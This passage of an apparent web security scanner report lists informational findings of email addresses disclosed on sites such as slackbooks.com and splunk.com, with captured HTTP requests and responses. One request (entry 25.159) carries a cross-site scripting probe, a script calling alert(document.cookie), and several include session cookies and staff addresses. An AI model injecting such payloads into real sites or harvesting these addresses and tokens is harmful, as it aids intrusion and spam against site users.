Content-Location: http://www.pointehilton.com/toolkit/presentation/shell/hpportal/assets/js/jquery.bgiframe.js
Last-Modified: Sat, 21 Jul 2007 23:45:00 GMT
Accept-Ranges: bytes
ETag: "066b026f1cbc71:39bd0"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 22:13:54 GMT

/* Copyright (c) 2006 Brandon Aaron (http://brandonaaron.net)
* Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
* and GPL (http://www.opensource.org/licenses/gpl-li
...[SNIP]...
ided so that one could change
*        the src of the iframe to whatever they need.
*        Default: "javascript:false;"
*
* @name bgiframe
* @type jQuery
* @cat Plugins/bgiframe
* @author Brandon Aaron (brandon.aaron@gmail.com || http://brandonaaron.net)
*/
$.fn.bgIframe = $.fn.bgiframe = function(s) {
   // This is only for IE6
   if ( $.browser.msie && /6.0/.test(navigator.userAgent) ) {
       s = $.extend({
           top : 'auto',
...[SNIP]...

25.157. http://www.positioniseverything.net/explorer/expandingboxbug.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.positioniseverything.net
Path:	/explorer/expandingboxbug.html

Issue detail

The following email address was disclosed in the response:

johnthebig66@yahoo.com

Request

GET /explorer/expandingboxbug.html HTTP/1.1
Host: www.positioniseverything.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:10:59 GMT
Server: Apache/1.3.41 (Unix) mod_ssl/2.8.31 OpenSSL/0.9.8a
X-Powered-By: PHP/5.2.9
Connection: close
Content-Type: text/html
Content-Length: 24626

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>

<title>IE6 Expanding Box</title>

<meta name="description" content="Explains and demons
...[SNIP]...
<a href="mailto:johnthebig66@yahoo.com">
...[SNIP]...

25.158. http://www.printfriendly.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.printfriendly.com
Path:	/

Issue detail

The following email address was disclosed in the response:

support@printfriendly.com

Request

GET / HTTP/1.1
Host: www.printfriendly.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:10:59 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 2.2.14
ETag: "c6f8fdc711acc1571798da5ec77ee756"
X-Runtime: 1
Cache-Control: private, max-age=0, must-revalidate
Content-Length: 6398
Status: 200
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Print Friendly
...[SNIP]...
<a href="mailto:support@printfriendly.com">
...[SNIP]...

25.159. http://www.shoppinga.de/modules/exp_hotnews/css/exphotnews.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.shoppinga.de
Path:	/modules/exp_hotnews/css/exphotnews.css

Issue detail

The following email address was disclosed in the response:

grusha@feellove.eu

Request

GET /modules/exp_hotnews/css/exphotnews.css HTTP/1.1
Host: www.shoppinga.de
Proxy-Connection: keep-alive
Referer: http://www.shoppinga.de/?bd2d5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee3b5e976e9e=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=svs83e6bs1lraq5fuoeaj7md0be3l8tg

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:03:54 GMT
Server: Apache/2.2.10 (Linux/SUSE)
Last-Modified: Fri, 12 Feb 2010 16:59:06 GMT
ETag: "8e714-204-47f6a2f706a80"
Accept-Ranges: bytes
Content-Length: 516
Content-Type: text/css

/**
* EXP NewPage (Pligg modules)
* Commercial License
* @package EXP HotNews
* @copyright (C) 2008 Autoneti OU
* @url http://www.pliggtemplates.eu/
* @author Grusha <grusha@feellove.eu>
**/

...[SNIP]...

25.160. http://www.slackbooks.com/404.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/404.aspx

Issue detail

The following email address was disclosed in the response:

orders@slackinc.com

Request

Response

25.161. http://www.slackbooks.com/Athletic+Training previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/Athletic+Training

Issue detail

The following email address was disclosed in the response:

orders@slackinc.com

Request

Response

25.162. http://www.slackbooks.com/BestSellers.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/BestSellers.aspx

Issue detail

The following email address was disclosed in the response:

orders@slackinc.com

Request

Response

25.163. http://www.slackbooks.com/ContactUs.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/ContactUs.aspx

Issue detail

The following email address was disclosed in the response:

orders@slackinc.com

Request

Response

25.164. http://www.slackbooks.com/Manual+Therapy previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/Manual+Therapy

Issue detail

The following email address was disclosed in the response:

orders@slackinc.com

Request

Response

25.165. http://www.slackbooks.com/NewTitleNotification.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/NewTitleNotification.aspx

Issue detail

The following email addresses were disclosed in the response:

orders@slackinc.com
webmaster@slackinc.com

Request

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:14:05 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 24964

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...
<p>orders@slackinc.com</p>
...[SNIP]...
<a href="mailto:webmaster@slackinc.com">webmaster@slackinc.com</a>
...[SNIP]...

25.166. http://www.slackbooks.com/Orthotics+and+Prosthetics previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/Orthotics+and+Prosthetics

Issue detail

The following email address was disclosed in the response:

orders@slackinc.com

Request

Response

25.167. http://www.slackbooks.com/Physical+Therapy previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/Physical+Therapy

Issue detail

The following email address was disclosed in the response:

orders@slackinc.com

Request

Response

25.168. http://www.slackbooks.com/ShoppingCart.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/ShoppingCart.aspx

Issue detail

The following email address was disclosed in the response:

orders@slackinc.com

Request

Response

25.169. http://www.slackbooks.com/aclreconstuct previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/aclreconstuct

Issue detail

The following email address was disclosed in the response:

orders@slackinc.com

Request

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:13:56 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 40543

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...
<p>orders@slackinc.com</p>
...[SNIP]...

25.170. http://www.slackbooks.com/ccacl previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/ccacl

Issue detail

The following email address was disclosed in the response:

orders@slackinc.com

Request

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:13:56 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 67580

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...
<p>orders@slackinc.com</p>
...[SNIP]...

25.171. http://www.slackbooks.com/ccknee previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/ccknee

Issue detail

The following email address was disclosed in the response:

orders@slackinc.com

Request

Response

25.172. http://www.slackbooks.com/clinical+nursing+resources previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/clinical+nursing+resources

Issue detail

The following email address was disclosed in the response:

orders@slackinc.com

Request

Response

25.173. http://www.slackbooks.com/default.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/default.aspx

Issue detail

The following email address was disclosed in the response:

orders@slackinc.com

Request

Response

25.174. http://www.slackbooks.com/essentialknee previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/essentialknee

Issue detail

The following email address was disclosed in the response:

orders@slackinc.com

Request

GET /essentialknee HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

25.175. http://www.slackbooks.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/favicon.ico

Issue detail

The following email address was disclosed in the response:

orders@slackinc.com

Request

Response

25.176. http://www.slackbooks.com/gastroenterology previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/gastroenterology

Issue detail

The following email address was disclosed in the response:

orders@slackinc.com

Request

Response

25.177. http://www.slackbooks.com/homemodification previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/homemodification

Issue detail

The following email address was disclosed in the response:

orders@slackinc.com

Request

Response

25.178. http://www.slackbooks.com/occupational+therapy previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/occupational+therapy

Issue detail

The following email address was disclosed in the response:

orders@slackinc.com

Request

Response

25.179. http://www.slackbooks.com/ophthalmic+technology previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/ophthalmic+technology

Issue detail

The following email address was disclosed in the response:

orders@slackinc.com

Request

Response

25.180. http://www.slackbooks.com/ophthalmology previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/ophthalmology

Issue detail

The following email address was disclosed in the response:

orders@slackinc.com

Request

Response

25.181. http://www.slackbooks.com/orthopedics previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/orthopedics

Issue detail

The following email address was disclosed in the response:

orders@slackinc.com

Request

GET /orthopedics HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

25.182. http://www.slackbooks.com/pediatrics previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/pediatrics

Issue detail

The following email address was disclosed in the response:

orders@slackinc.com

Request

Response

25.183. http://www.slackinc.com/permissions/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackinc.com
Path:	/permissions/

Issue detail

The following email addresses were disclosed in the response:

jbond@slackinc.com
rights@johnscottco.us

Request

GET /permissions/ HTTP/1.1
Host: www.slackinc.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDCACARTTB=ALGCLOKCEOKAINCBILDCJKJP;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:14:16 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 8599
Content-Type: text/html
Cache-control: private

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>SLACK Incorporated: Copyright and Permission Info</title>
<STYLE type="text/css">
.header16, .header14, .hea
...[SNIP]...
<a href="mailto:jbond@slackinc.com">jbond@slackinc.com</a>
...[SNIP]...
<a href="mailto:rights@johnscottco.us">rights@johnscottco.us</a>
...[SNIP]...

25.184. http://www.slackinc.com/privacypolicy.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackinc.com
Path:	/privacypolicy.asp

Issue detail

The following email address was disclosed in the response:

webmaster@slackinc.com

Request

GET /privacypolicy.asp HTTP/1.1
Host: www.slackinc.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

25.185. https://www.slackinc.com/reprints/order.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.slackinc.com
Path:	/reprints/order.asp

Issue detail

The following email address was disclosed in the response:

rrhodes@slackinc.com

Request

GET /reprints/order.asp HTTP/1.1
Host: www.slackinc.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 22:09:52 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 44530
Content-Type: text/html
Set-Cookie: ASPSESSIONIDCACARTTB=MHBALOKCEGMPNINNPNAKBMPM; path=/
Cache-control: private

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>SLACK Incorporated Periodicals Division</title>
<STYLE type="text/css">
...[SNIP]...
<a href="mailto:rrhodes@slackinc.com">
...[SNIP]...
<a href="mailto:rrhodes@slackinc.com">
...[SNIP]...
<a href="mailto:rrhodes@slackinc.com?subject=Reprint Price Quote">rrhodes@slackinc.com</a>
...[SNIP]...

25.186. http://www.splunk.com/page/ask_expert/default/3107 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/ask_expert/default/3107

Issue detail

The following email address was disclosed in the response:

dj@splunk.com

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:33:58 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 34644

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...

...[SNIP]...

25.187. http://www.splunk.com/page/company_news previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/company_news

Issue detail

The following email address was disclosed in the response:

press@splunk.com

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:10:23 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 23badbc68e2e095cbb5301051f3074cc1296943825
Last-Modified: Sat, 05 Feb 2011 22:10:25 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 53471

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<a href="mailto:press@splunk.com">press@splunk.com</a>
...[SNIP]...
<a href="mailto:press@splunk.com">press@splunk.com</a>
...[SNIP]...
<a href="mailto:press@splunk.com">press@splunk.com</a>
...[SNIP]...

25.188. http://www.splunk.com/page/events previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/events

Issue detail

The following email address was disclosed in the response:

community@splunk.com

Request

GET /page/events HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:10:50 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: acabb67feefe536550cdc812088ecc1d1296943852
Last-Modified: Sat, 05 Feb 2011 22:10:52 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 34713

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<a href="mailto:community@splunk.com">community@splunk.com</a>
...[SNIP]...

25.189. http://www.splunk.com/page/release_rss previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/release_rss

Issue detail

The following email address was disclosed in the response:

support@splunk.com

Request

GET /page/release_rss HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:09:58 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 6434
Connection: close
Content-Type: application/xml; charset=utf-8

<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:admin="http://webns.net/mvcb/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-
...[SNIP]...
<admin:errorReportsTo rdf:resource="mailto:support@splunk.com" />
...[SNIP]...

25.190. http://www.splunk.com/page/road_map_vote previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/road_map_vote

Issue detail

The following email address was disclosed in the response:

pm@splunk.com

Request

GET /page/road_map_vote HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:10:09 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 99f7cd74799a08e76664867efc3eb11d1296943810
Last-Modified: Sat, 05 Feb 2011 22:10:10 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20510

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<a href="mailto:pm@splunk.com">pm@splunk.com</a>
...[SNIP]...
<a href="mailto:pm@splunk.com">pm@splunk.com</a>
...[SNIP]...

25.191. http://www.splunk.com/services previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/services

Issue detail

The following email addresses were disclosed in the response:

araitz@splunk.com
bhornish@splunk.com
bob@splunk.com
cervelli@splunk.com
dan@splunk.com
dj@splunk.com
fwilmot@splunk.com
hash@splunk.com
jblake@splunk.com
jcollins@splunk.com
jtopp@splunk.com
maverick@splunk.com
ndoshi@splunk.com
sshelston@splunk.com
thewilde@splunk.com
vly@splunk.com
will@splunk.com

Request

GET /services HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:19:36 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 34645

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

...[SNIP]...

25.192. http://www.splunk.com/solutions previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/solutions

Issue detail

The following email addresses were disclosed in the response:

araitz@splunk.com
bhornish@splunk.com
bob@splunk.com
cervelli@splunk.com
dan@splunk.com
dj@splunk.com
fwilmot@splunk.com
hash@splunk.com
jblake@splunk.com
jcollins@splunk.com
jtopp@splunk.com
maverick@splunk.com
ndoshi@splunk.com
sshelston@splunk.com
thewilde@splunk.com
vly@splunk.com
will@splunk.com

Request

GET /solutions HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:17:46 GMT
